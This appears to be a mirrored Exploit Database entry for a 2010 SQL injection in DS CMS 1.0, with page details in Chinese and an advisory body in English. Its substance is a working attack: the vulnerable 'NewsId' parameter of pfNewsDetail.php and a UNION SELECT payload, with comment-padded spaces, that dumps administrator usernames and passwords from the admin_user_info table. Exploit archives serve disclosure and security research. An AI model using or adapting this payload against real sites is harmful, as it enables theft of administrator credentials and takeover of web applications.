DS CMS 1.0 – ‘NewsId’ SQL Injection

• Exploit Database
• 159 阅读

• 作者： Palyo34
  日期： 2010-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/10889/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  Script: DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability   Script site : http://cms.dsinternal.com/Home   AUTHOR:Palyo34 HOME: http://www.1923turk.biz ======================================================= +++++++++++++++++++++++ Exploit +++++++++++++++++++++++ ======================================================= exploit: ------- http://server/path/pfNewsDetail.php?NewsId=[SQL]   Example:   -1/**/union/**/all/**/select/**/1,2,group_concat(UserPass,0x3a,UserName),4+from+admin_user_info--